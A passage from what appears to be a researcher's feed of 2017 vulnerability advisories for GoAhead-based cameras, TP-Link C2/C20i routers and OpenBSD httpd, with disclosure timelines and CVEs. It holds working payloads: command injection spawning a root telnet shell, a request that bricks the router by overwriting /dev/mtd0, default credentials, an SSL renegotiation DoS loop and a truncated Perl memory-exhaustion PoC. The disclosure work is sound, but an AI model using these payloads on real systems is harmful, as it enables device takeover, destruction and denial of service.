k% openssl genrsa -out key.pem

Generating RSA private key, 2048 bit long modulus
..........................................+++
...................................................................+++
unable to write 'random state'
e is 65537 (0x010001)
k% openssl req -new -key key.pem -out request.pem
[...]
k% openssl x509 -req -days 9999 -in request.pem -signkey key.pem -out certificate.pem
Signature ok
subject=C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
Getting Private key
unable to write 'random state'
k% openssl pkcs8 -topk8 -outform DER -in key.pem -inform PEM -out key.pk8 -nocrypt
k% signapk certificate.pem key.pk8 object.p2pwificam.client/dist/object.p2pwificam.client.apk signed-object.p2pwificam.client.apk
k% ls  -latr
total 21560
drwxrwxrwt 3 root   root        140 Mar  7 08:25 ..
-rwx------ 1 nobody nogroup 8488199 Mar  7 08:25 apktool.jar
-rwx------ 1 nobody nogroup    2319 Mar  7 08:25 apktool
-rwx------ 1 nobody nogroup 6773051 Mar  7 08:25 object.p2pwificam.client.apk
drwx------ 9 nobody nogroup     220 Mar  7 08:33 object.p2pwificam.client
-rw------- 1 nobody nogroup    1675 Mar  7 08:33 key.pem
-rw------- 1 nobody nogroup     956 Mar  7 08:33 request.pem
-rw------- 1 nobody nogroup    1111 Mar  7 08:33 certificate.pem
-rw------- 1 nobody nogroup    1217 Mar  7 08:33 key.pk8
drwx------ 3 nobody nogroup     220 Mar  7 08:34 .
-rw------- 1 nobody nogroup 6787146 Mar  7 08:34 signed-object.p2pwificam.client.apk
</code></pre>
<p><code>signed-object.p2pwificam.client.apk</code> is ready to be used.</p>
<p>When using it, we see that:</p>
<p>The client indeed sends the <code>system.ini</code> request within the UDP tunnel:</p>
<p><img alt="" src="images/2017-cam-system-android.png" /></p>
<p><br><br><br><br>
The camera indeed receives this request within the UDP tunnel:</p>
<p><img alt="" src="images/2017-cam-system-camera.png" /></p>
<p><br><br><br><br>
Complete trace is:</p>
<p><img alt="" src="images/2017-cam-system-yolo.png" /></p>
<p>It appears the pre-auth is not easily reachable within the cloud network.</p>
<p>This "cloud" protocol seems to be more a botnet protocol than a legit remote access protocol and has indeed weakness (everything in clear-text, i.e. an attacker can attack cameras within the cloud and leverage potential access to hack internal networks).</p>
<p>A lot of P2P ('Cloud') cameras are in fact using the same botnet protocols and the same infrastructure seemingly to be managed by a single entity.</p>
<p>Writing a PoC which bruteforces credentials of the remote camera is left as an exercise for the reader.</p>
<p><strong>Update (Mar 10, 2017):</strong> <a href="https://twitter.com/zh4ck">@zh4ck</a> <a href="https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk">analyzed the cloud protocol</a>.</p>
<h2>Vendor Response</h2>
<p>Due to difficulties in finding and contacting all the vendors, full-disclosure is applied.</p>
<p><strong>I advise to IMMEDIATELY DISCONNECT cameras to the Internet. Hundreds of thousands cameras are affected by the 0day Info-Leak. Millions of them are using the insecure Cloud network.</strong></p>
<h2>Report Timeline</h2>
<ul>
<li>Feb 26, 2017: Vulnerabilities found by Pierre Kim.</li>
<li>Mar 08, 2017: A public advisory is sent to security mailing lists.</li>
<li>Mar 08, 2017: Following exchanges with Embedthis Software, it appears <strong>the vulnerabilities are not located inside GoAhead but from custom and proprietary development by the Chinese OEM vendor</strong>.</li>
<li>Mar 08, 2017: The advisory is updated.</li>
<li>Apr 25, 2017: MITRE provides CVE-2017-8221, CVE-2017-8222, CVE-2017-8223, CVE-2017-8224, CVE-2017-8225.</li>
</ul>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt">https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt</a></p>
<p><a href="https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html">https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html</a></p>
<h2>Misc</h2>
<ul>
<li>Mar 09, 2017: <a href="https://blogs.securiteam.com/index.php/archives/3043">SSD disclosed a new pre-authentification infoleak vulnerability affecting the cameras</a>.</li>
<li>Mar 09, 2017: <a href="https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/03/08194911/PeekabooIOwnYou.pdf">Cybereason disclosed a new pre-authentification infoleak vulnerability affecting the cameras</a>.</li>
</ul>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>TP-Link C2 and C20i vulnerable to command injection (authenticated root RCE), DoS, improper firewall rules</title>
        <link href="2017-02-09-tplink-c2-and-c20i-vulnerable.html"/>
        <content type="html"><h2>Product Description</h2>
<p>TP-Link is a Chinese manufacturer of computer networking products such as routers and IOT devices.</p>
<h2>Vulnerabilities Summary</h2>
<p>Command Injections exist in the HTTP management interface up to the latest firmware version (0.9.1 4.2 v0032.0 Build 160706 Rel.37961n) of TP-Link C2 and C20i, allowing an authenticated attacker to get a remote shell with root privileges.</p>
<p>An attacker can DoS the httpd server and the firewall rules are too permissive by default on the WAN interface.</p>
<h2>Details - CVE-2017-8220 - RCE with a single HTTP request</h2>
<p>Using the so-called "Diagnostic" page, the attacker can run any command including telnetd, using the remote host field of the ping utility:</p>
<pre><code>$(echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25)
</code></pre>
<p>While being authenticated (see the credentials in base64 format), sending this HTTP request directly will start a telnetd on the router on port 25/tcp without authentication:</p>
<pre><code>POST /cgi?2 HTTP/1.1
Host: 192.168.1.1
Content-Type: text/plain
Referer: http://192.168.1.1/mainFrame.htm
Content-Length: 208
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
Connection: close


[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
dataBlockSize=64
timeout=1
numberOfRepetitions=1
host=$(echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25)
X_TP_ConnName=ewan_ipoe_d
diagnosticsState=Requested
</code></pre>
<p>An attacker can also use backsticks to execute commands:</p>
<pre><code>`echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25`
</code></pre>
<p>Resulting access:</p>
<pre><code>user@kali:~/tplink-0day-c2-and-c20i$ telnet 192.168.1.1 25
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
~ # ls
web      usr      sbin     mnt      lib      dev
var      sys      proc     linuxrc  etc      bin
~ # cat /proc/version 
Linux version 2.6.36 (root@localhost.localdomain) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #1 Wed Jul 6 10:01:06 HKT 2016
~ # ls -la
drwxr-xr-x    9       176 web
drwxr-xr-x   13         0 var
drwxr-xr-x    4        38 usr
drwxr-xr-x   11         0 sys
drwxr-xr-x    2       193 sbin
dr-xr-xr-x   83         0 proc
drwxr-xr-x    2         3 mnt
lrwxrwxrwx    1        11 linuxrc -&gt; bin/busybox
drwxr-xr-x    3       786 lib
drwxr-xr-x    5       776 etc
drwxr-xr-x    5      1274 dev
drwxr-xr-x    2       280 bin
drwxr-xr-x   13       177 ..
drwxr-xr-x   13       177 .
~ # cd etc
/etc # ls
vsftpd_passwd              init.d                     SingleSKU_5G_RU.dat
vsftpd.conf                group                      SingleSKU_5G_NZ.dat
ushare.conf                fstab                      SingleSKU_5G_MY.dat
services                   default_config.xml         SingleSKU_5G_KR.dat
samba                      TZ                         SingleSKU_5G_FCC.dat
resolv.conf                SingleSKU_RU.dat           SingleSKU_5G_CE.dat
reduced_data_model.xml     SingleSKU_NZ.dat           SingleSKU_5G_CA.dat
ppp                        SingleSKU_MY.dat           RT2860AP5G.dat
passwd.bak                 SingleSKU_KR.dat           RT2860AP.dat
passwd                     SingleSKU_FCC.dat          MT7620_AP_2T2R-4L_V15.BIN
iptables-stop              SingleSKU_CE.dat           MT7610E-V10-FEM-1ANT.bin
inittab                    SingleSKU_5G_VN.dat
/etc # cd ..
~ # ls -la
drwxr-xr-x    9       176 web
drwxr-xr-x   13         0 var
drwxr-xr-x    4        38 usr
drwxr-xr-x   11         0 sys
drwxr-xr-x    2       193 sbin
dr-xr-xr-x   83         0 proc
drwxr-xr-x    2         3 mnt
lrwxrwxrwx    1        11 linuxrc -&gt; bin/busybox
drwxr-xr-x    3       786 lib
drwxr-xr-x    5       776 etc
drwxr-xr-x    5      1274 dev
drwxr-xr-x    2       280 bin
drwxr-xr-x   13       177 ..
drwxr-xr-x   13       177 .
~ # ps
  PID USER       VSZ STAT COMMAND
    1 admin     1060 S    init
    2 admin        0 SW   [kthreadd]
    3 admin        0 SW   [ksoftirqd/0]
    4 admin        0 SW   [kworker/0:0]
    5 admin        0 SW   [kworker/u:0]
    6 admin        0 SW&lt;  [khelper]
    7 admin        0 SW   [kworker/u:1]
   44 admin        0 SW   [sync_supers]
   46 admin        0 SW   [bdi-default]
   48 admin        0 SW&lt;  [kblockd]
   80 admin        0 SW   [kswapd0]
   82 admin        0 SW&lt;  [crypto]
  130 admin        0 SW   [mtdblock0]
  135 admin        0 SW   [mtdblock1]
  140 admin        0 SW   [mtdblock2]
  145 admin        0 SW   [mtdblock3]
  150 admin        0 SW   [mtdblock4]
  155 admin        0 SW   [mtdblock5]
  160 admin        0 SW   [mtdblock6]
  172 admin        0 SW   [kworker/0:1]
  214 admin        0 SW   [khubd]
  245 admin     1060 S    telnetd
  251 admin     2932 S    cos
  252 admin     1060 S    init
  255 admin     2120 S    igmpd
  258 admin     2144 S    mldProxy
  345 admin     2932 S    cos
  346 admin     2932 S    cos
  347 admin     2932 S    cos
  366 admin     2088 S    ntpc
  371 admin     2096 S    dyndns /var/tmp/dconf/dyndns.conf
  374 admin     2096 S    noipdns /var/tmp/dconf/noipdns.conf
  377 admin     2096 S    cmxdns /var/tmp/dconf/cmxdns.conf
  433 admin        0 SW   [RtmpCmdQTask]
  434 admin        0 SW   [RtmpWscTask]
  445 admin     1244 S    wlNetlinkTool
  449 admin     1080 S    wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/
  465 admin     1244 S    wlNetlinkTool
  466 admin     1244 S    wlNetlinkTool
  489 admin        0 SW   [RtmpCmdQTask]
  490 admin        0 SW   [RtmpWscTask]
  503 admin     1064 S    wscd_5G -i rai0 -m 1 -w /var/tmp/wsc_upnp_5G/
  506 admin     2668 S    httpd
  518 admin     1748 S    upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
  521 admin     2084 S    dnsProxy
  526 admin     1068 S    dhcpd /var/tmp/dconf/udhcpd.conf
  551 admin     1748 S    upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
  552 admin     1748 S    upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
  553 admin     1748 S    upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
  554 admin     1748 S    upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
  555 admin     1748 S    upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
  556 admin     1748 S    upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
  557 admin     1748 S    upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
  558 admin     2668 S    tmpd
  561 admin     2556 S    tdpd
  569 admin      988 S    dhcpc
  578 admin     1036 S    zebra -d -f /var/tmp/dconf/zebra.conf
  594 admin     2088 S    diagTool
  625 admin     1136 S    dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_hos
  642 admin     2468 S    ushare
  658 admin     2468 S    ushare
  660 admin     2468 S    ushare
  661 admin     2468 S    ushare
  662 admin     2468 S    ushare
  663 admin     2468 S    ushare
  664 admin     2468 S    ushare
  666 admin     2468 S    ushare
  851 admin     1060 S    /usr/sbin/telnetd -l /bin/sh -p 25
  853 admin     1072 S    /bin/sh
  876 admin     1068 S    /bin/sh
  878 admin     2576 S    cli
  887 admin     1060 R    ps
~ #
</code></pre>
<p>With this RCE, an attacker will be able to dump and modify the configuration by editing <code>/dev/mtd3</code>.
The configuration is written in XML format and is located in the beginning (starting at offset <code>0x10</code>) of this MTD (64K).</p>
<p>If the attacker sends this string, the router will be unable to boot and will be bricked, by writing random characters on top of the u-boot partition:</p>
<pre><code>POST /cgi?2 HTTP/1.1
Host: 192.168.1.1
Content-Type: text/plain
Referer: http://192.168.1.1/mainFrame.htm
Content-Length: 208
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
Connection: close


[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
dataBlockSize=64
timeout=1
numberOfRepetitions=1
host=$(echo 127.0.0.1; cat /dev/random &gt; /dev/mtd0)
X_TP_ConnName=ewan_ipoe_d
diagnosticsState=Requested
</code></pre>
<h2>Details - CVE-2017-8219 - DoSing the HTTP server</h2>
<p>While being authenticated (see the credentials in base64 format), sending this HTTP request directly will crash the remote HTTP server:</p>
<pre><code>GET /cgi/ansi HTTP/1.1
Host: 192.168.1.1
Content-Type: text/plain
Referer: http://192.168.1.1/mainFrame.htm
Content-Length: 208
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
Connection: close
</code></pre>
<p>A resulting core file will be written in the router inside the /var partition of the attacked router:</p>
<pre><code>/var # ls -la /var/
drwxrwxrwx    2         0 lock
drwxrwxrwx    2         0 log
drwxrwxrwx    2         0 run
drwxrwxrwx    7         0 tmp
drwxr-xr-x    3         0 Wireless
drwxrwxrwx    2         0 usbdisk
drwxrwxrwx    2         0 dev
drwxr-xr-x    5         0 samba
-rw-r--r--    1       132 passwd
drwxrwxrwx    2         0 3G
drwxrwxrwx    2         0 l2tp
rwxrwxrwx    7         0 vsftp
-rw-------    1    348160 core-httpd-506-11-1482798208
drwxr-xr-x   13       177 ..
drwxr-xr-x   13         0 .
/var #
</code></pre>
<h2>Details - CVE-2017-8217 - Permissive Iptables rules</h2>
<p>The default iptables rules are generated within <code>/lib/libcmm.so</code> by writing commands inside <code>/var/tmp/dconf/rc.router</code> and using <code>system()</code> on this file.</p>
<p><code>/var/tmp/dconf/rc.router</code>:</p>
<pre><code>#!/bin/sh
[...]
iptables -t nat -A POSTROUTING -j NATLOOPBACK_UPNP_SECCONN
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_DMZ
iptables -t nat -A PREROUTING -j PREROUTING_DMZ
iptables -t filter -A FORWARD -i br+ -j ACCEPT
iptables -t filter -A FORWARD -d 224.0.0.0/4 -j ACCEPT
[...]
</code></pre>
<p>By default, the SNMP port is open on every interface:</p>
<pre><code>iptables -A INPUT -p udp --dport 161 -j ACCEPT
</code></pre>
<p>This can be verified with iptables on the router:</p>
<pre><code>/proc # iptables -nL
Chain INPUT (policy DROP)
[...]
ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0            udp dpt:161
[...]
</code></pre>
<p>You can check too by reading the file <code>/var/tmp/dconf/rc.router</code>.</p>
<p>Luckily, even if SNMP configuration can be modified using the hidden <code>/main/snmp.html</code> webpage,
it appears the snmpd has been removed from the firmware image.</p>
<h2>Details - CVE-2017-8218 - Misc</h2>
<p>The binaries (<code>/usr/bin/cos</code>, <code>/usr/bin/tmpd</code>, <code>/lib/libcmm.so</code>) are overall badly designed programs, executing tons of <code>system()</code> and running as root.</p>
<p><code>/usr/bin/cos</code> is a daemon running as root and is launched at the end of <code>/etc/init.d/rcS</code> (<code>cos &amp;</code>): it starts all the daemons using system (httpd ntpc dnsProxy dhcpd dhcpc snmpd upnpd diagTool voip_server voip_client pjsua cwmp wlNetlinkTool pppd dyndns igmpd zebra ushare smbd vsftpd telnetd, noipdns hostapd ipsecVpn radvd mldProxy racoon wscd...)</p>
<p><code>/usr/bin/tmpd</code> is a daemon running as root and listens to <code>127.0.0.1:20002</code>.</p>
<p><code>/lib/libcmm.so</code> is a library with all the main system functions (system reinitialisation [admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh], wifi configuration, debugging with TFTP[hi dutserver!], VPN configuration, <code>ifconfig interfaces</code>, <code>insmod /lib/modules/pptp.ko</code>, ...)</p>
<p>Vsftpd contains default weak passwords:</p>
<pre><code>user@kali:~$ cat ./etc/vsftpd_passwd
admin:1234:1:1;guest:guest:0:0;test:test:1:1;$
user@kali:~$
</code></pre>
<p>Access:</p>
<pre><code>admin:1234
guest:guest
test:test
</code></pre>
<h2>Vendor Response</h2>
<p>T-P-Link plans to release a new firmware in February 2017, patching
all listed vulnerabilities. T-P-Link wants to draw attention that in
order to exploit two over three security vulnerabilities, an attacker
would need to have valid credentials.</p>
<h2>Report Timeline</h2>
<ul>
<li>Sep 17, 2016: Vulnerabilities found by Pierre Kim.</li>
<li>Dec 26, 2016: TP-Link support is contacted by livechat. TP-Link replies there is no process to handle security problems in TP-Link routers and refuses to indicate a security point of contact.</li>
<li>Dec 27, 2016: TP-Link support is notified of the vulnerabilities (using support () tp-link.com, security () tp-link.com, lishaozhang () tp-link.net [from <code>/lib/modules/ipt_STAT.ko</code>], huangwenzhong@tp-link.net [from <code>/lib/modules/tp_domain.ko</code>]).</li>
<li>Dec 29, 2016: Pierre sends a full advisory to TP-Link security team.</li>
<li>Dec 30, 2016: TP-Link confirms the reception of the advisory.</li>
<li>Jan 03, 2017: Pierre asks TP-Link to confirm the vulnerabilities.</li>
<li>Jan 09, 2017: TP-Link confirms the security vulnerabilities in TP-Link C2 and C20i routers and security patches are in progress.</li>
<li>Jan 21, 2017: Ping from TP-Link about the "Vendor Response" section.</li>
<li>Jan 23, 2017: Pierre answers, asking details in the "Vendor Response" section.</li>
<li>Jan 24, 2017: TP-Link Korea contacts Pierre Kim about the vulnerabilities.</li>
<li>Jan 27, 2017: Pierre sends a final draft to TP-Link.</li>
<li>Feb 09, 2017: A public advisory is sent to security mailing lists.</li>
<li>Apr 25, 2017: MITRE provides CVE-2017-8217, CVE-2017-8218, CVE-2017-8219, CVE-2017-8220.</li>
</ul>
<h2>Credit</h2>
<p>These vulnerabilities were found by Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/advisories/2017-tplink-0x00.txt">https://pierrekim.github.io/advisories/2017-tplink-0x00.txt</a></p>
<p><a href="https://pierrekim.github.io/blog/2017-02-09-tplink-c2-and-c20i-vulnerable.html">https://pierrekim.github.io/blog/2017-02-09-tplink-c2-and-c20i-vulnerable.html</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>CVE-2017-5850 - Remote DoS against OpenBSD http server (up to 6.0)</title>
        <link href="2017-02-07-openbsd-httpd-CVE-2017-5850.html"/>
        <content type="html"><h2>Product Description</h2>
<p>The OpenBSD project produces a FREE, multi-platform 4.4BSD-based UNIX-like operating system.</p>
<h2>Vulnerabilities Summary</h2>
<p>The shipped HTTP daemon in OpenBSD (up to the latest version) is prone to 2 remote DoS.</p>
<p>The first vulnerability allows an attacker to consume all the CPU power from the remote server (CPU exhaustion).</p>
<p>The second vulnerability (Memory exhaustion) allows an attacker to consume all the RAM and the swap space on the remote side.
Processes will be killed when running out of swap space. The system will be likely to freeze.</p>
<h2>Details - CPU exhaustion (no CVE entry)</h2>
<p>OpenBSD's httpd is prone to a SSL DoS with SSL renegotiation:</p>
<pre><code>user@kali:~$ (sleep 1; while true;do echo R;done) | openssl s_client -connect 10.0.2.15:443
CONNECTED(00000003)
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify return:1
---
Certificate chain
 0 s:/C=XX/ST=secure.example.com/CN=secure.example.com
   i:/C=XX/ST=secure.example.com/CN=secure.example.com
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIDCjCCAfICCQC0tQxJqUqQTzANBgkqhkiG9w0BAQsFADBHMQswCQYDVQQGEwJY
WDEbMBkGA1UECAwSc2VjdXJlLmV4YW1wbGUuY29tMRswGQYDVQQDDBJzZWN1cmUu
ZXhhbXBsZS5jb20wHhcNMTcwMTI3MTU0MjMzWhcNMTgwMTI3MTU0MjMzWjBHMQsw
CQYDVQQGEwJYWDEbMBkGA1UECAwSc2VjdXJlLmV4YW1wbGUuY29tMRswGQYDVQQD
DBJzZWN1cmUuZXhhbXBsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCjIY7mMaNVLmPDA4ir59mgdQEM4TFTgz5cv9SqU4hQq0eVmpJkEfJPHErF
to5NdF2ZIqhL+F34GqZcCC8qO3xB33dAevENWWbA4KObpIybHr8bFeDYYl5GuaCO
hizmcffU3P1ztRNXB4sCTTQwkyry8ZUDaeINLGMb0HhFR9u5TJY6tSB0KMIuiBsH
1hEp8bNxUM046D0wkZkyIgM/or6uj5jRj33aYUn6ZiU8a6UKSAVZJLqziyNcQ0hA
64gS6oapUnMVYJIUDJynOhY5e8xZmD+2pB4NLTIxAEdSyQ4wQ4jBiRFVL+E68fuw
kASmrA4gAbSCO+lYBO8wCRiVOwOdAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAC1L
213ziHqFmC8nLWvvjyoHY2PRFS1ofrfciv+fpohn2GN+eVb8DGTo+KLZ910/PUPk
dzTa7eOlkvR1OG7BUlnia6pGQqizTodvzx0DGgl76k4VpEvJAOZ4f7Plry4qgr5Y
y3Fwym1k3DlNJ5Jqh8Vp2HETbqcovATsUHRS5t/oc6N2egq1DYVC5CdGRgvmmUl+
NBjKOASYoP8S4OQ51wMmXrygFqKcEkq4/GTUFEaamrbM/J+ChD9EqejSKzZ5owRh
74v10s30OylBdmfOLeyrMv5s6DnJRAdtFEH9Wg7sQDt1P3bGOsObVZlmHCtArl4k
m1nHRn8scAFP7QbHl34=
-----END CERTIFICATE-----
subject=/C=XX/ST=secure.example.com/CN=secure.example.com
issuer=/C=XX/ST=secure.example.com/CN=secure.example.com
---
No client certificate CA names sent
---
SSL handshake has read 1548 bytes and written 503 bytes
---
New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-GCM-SHA384
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : ECDHE-RSA-AES256-GCM-SHA384
    Session-ID: DA628A16EF4F067ED81E7A26EFA18D9A7D53CBC4ED54C8F6DC11E5E60FF76530
    Session-ID-ctx: 
    Master-Key: 9235AFEBCF2A517E896A06CAA7A1AF916646DB5BB4C99B53A79627351C0FFB936EB863B0E50A67DF70A354773CF049BE
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - 49 f1 29 da 9e 08 f2 74-c6 f3 eb a1 c7 ee 40 bb   I.)....t......@.
    0010 - 96 75 54 c8 4f 32 53 7e-51 40 4e a8 e9 57 41 a5   .uT.O2S~Q@N..WA.
    0020 - 73 3d a9 d6 b8 f7 a0 f8-15 cb be fb f1 4d d9 81   s=...........M..
    0030 - a8 79 56 11 5d 05 32 05-49 df 2b f3 71 89 36 a1   .yV.].2.I.+.q.6.
    0040 - 93 dc b9 b5 00 48 6f 94-b1 c5 78 f8 38 3c 63 29   .....Ho...x.8&lt;c)
    0050 - ed 45 a2 9e ae fc 7e d7-12 76 34 15 93 b1 3d 3d   .E....~..v4...==
    0060 - d7 0a 14 f1 01 a7 87 6c-50 93 25 24 5e 4f 1b fa   .......lP.%$^O..
    0070 - 51 03 4b fa 7e 23 83 99-51 f6 47 10 8c d1 0e 41   Q.K.~#..Q.G....A
    0080 - 5a f7 a5 10 33 a7 37 5d-9b 5e b0 b6 19 e7 e2 61   Z...3.7].^.....a
    0090 - ec ea 1c 72 3c 4a ec 11-0f 26 35 76 6e d9 cb 4d   ...r&lt;J...&amp;5vn..M
    00a0 - c7 f8 57 cb 50 f6 47 02-6b ca be cc 29 04 b7 dc   ..W.P.G.k...)...
    00b0 - e0 d1 cc 8e 5b f9 05 06-10 72 d7 b6 8e cf 42 6a   ....[....r....Bj

    Start Time: 1485536662
    Timeout   : 300 (sec)
    Verify return code: 18 (self signed certificate)
---
RENEGOTIATING
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify return:1
RENEGOTIATING
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify return:1
RENEGOTIATING
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify return:1
RENEGOTIATING
[...]
</code></pre>
<p>From my test, 1 renegociation thread takes =~ 70% of CPU.</p>
<p>top on the main server (10.0.2.15):</p>
<pre><code>14711 www       51    0 1104K 3636K run       -         1:07 69.55% httpd
</code></pre>
<p>Multiple threads will eat all the available CPUs and will be likely to DoS the httpd:</p>
<pre><code>14711 www       63    0 1192K 3708K run       -         2:48 33.45% httpd
77207 www       63    0 1284K 3788K run       -         1:33 33.06% httpd
78835 www       62    0 1232K 3808K run       -         0:15 28.08% httpd
</code></pre>
<p>There is no trace of such attacks in the httpd logs.</p>
<p>An attacker can use tools from THC to perform SSL DoS too (openssl was the fastest solution out of the box): <a href="https://www.thc.org/thc-ssl-dos/">https://www.thc.org/thc-ssl-dos/</a>.</p>
<h2>Details - Memory exhaustion (CVE-2017-5850)</h2>
<p>A vulnerability exists in the openbsd HTTP daemon. It will result in using all the RAM and the swap space on the remote side, processes will be killed when running out of swap space. The system will be likely to freeze.</p>
<p>Requesting file using a file-range will result in having a httpd process doing a full malloc() of the requested file.
It appears the entry is not correctly free()'d.</p>
<p>Hence, it's possible to DoS the remote server by requesting a file over and over by specifying a custom file range, ie:</p>
<pre><code>GET /index.html HTTP/1.1
Range: bytes=1-
User-Agent: Pierre loves you
Host: fill-me-with-joy
</code></pre>
<p>This attack is successful if an attacker can identify a 'big' file (i.e. &gt; 10MB) served by the remote HTTP server.</p>
<p>Here is a provided PoC (loosely based on KingCope's apache_killer.pl):</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #408080; font-style: italic">#!/usr/bin/perl -w</span>

<span style="color: #008000; font-weight: bold">use</span> <span style="color: #0000FF; font-weight: bold">warnings</span>;
<span style="color: #008000; font-weight: bold">use</span> <span style="color: #0000FF; font-weight: bold">IO::Socket</span>;
<span style="color: #008000; font-weight: bold">use</span> <span style="color: #0000FF; font-weight: bold">Parallel::ForkManager</span>;

<span style="color: #19177C">$numforks</span> <span style="color: #666666">=</span> <span style="color: #666666">50</span>;

<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$#ARGV</span> <span style="color: #666666">&lt;</span> <span style="color: #666666">1</span>)
{
  <span style="color: #666666">&amp;</span>usage;
  <span style="color: #008000">exit</span>;
}

<span style="color: #008000; font-weight: bold">while</span> (<span style="color: #666666">1</span>) {
  <span style="color: #666666">&amp;</span>killhttpd();
}

<span style="color: #008000; font-weight: bold">sub</span> <span style="color: #0000FF">usage</span> {
  <span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">&quot;OpenBSD HTTP Remote Denial of Service (memory exhaustion) - @PierreKimSec\n&quot;</span>;
  <span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">&quot;usage: perl killobsdhttpd.pl &lt;host&gt; &lt;remotefile&gt;\n&quot;</span>;
}

<span style="color: #008000; font-weight: bold">sub</span> <span style="color: #0000FF">killhttpd</span> {
  <span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">&quot;ATTACKING $ARGV[0] [using $numforks forks]\n&quot;</span>;

  <span style="color: #19177C">$pm</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> <span style="color: #0000FF; font-weight: bold">Parallel::</span>ForkManager(<span style="color: #19177C">$numforks</span>);

  <span style="color: #008000; font-weight: bold">for</span> (<span style="color: #666666">0</span> <span style="color: #666666">..</span> <span style="color: #19177C">$numforks</span>)
  {
    <span style="color: #008000; font-weight: bold">my</span> <span style="color: #19177C">$pid</span> <span style="color: #666666">=</span> <span style="color: #19177C">$pm</span><span style="color: #666666">-&gt;</span>start <span style="color: #AA22FF; font-weight: bold">and</span> <span style="color: #008000; font-weight: bold">next</span>;
    <span style="color: #008000; font-weight: bold">my</span> <span style="color: #19177C">$sock</span> <span style="color: #666666">=</span> <span style="color: #0000FF; font-weight: bold">IO::Socket::INET</span><span style="color: #666666">-&gt;</span><span style="color: #008000; font-weight: bold">new</span>(PeerAddr <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$ARGV</span>[<span style="color: #666666">0</span>],
                                     PeerPort <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&quot;80&quot;</span>,
                                     Proto    <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;tcp&#39;</span>);
    <span style="color: #19177C">$p</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;GET $ARGV[1] HTTP/1.1\r\nRange: bytes=1-\r\nAccept: */*\r\nHost: $ARGV[0]\r\nConnection: close\r\n\r\n&quot;</span>;
    <span style="color: #008000; font-weight: bold">print</span> <span style="color: #19177C">$sock</span> <span style="color: #19177C">$p</span>;
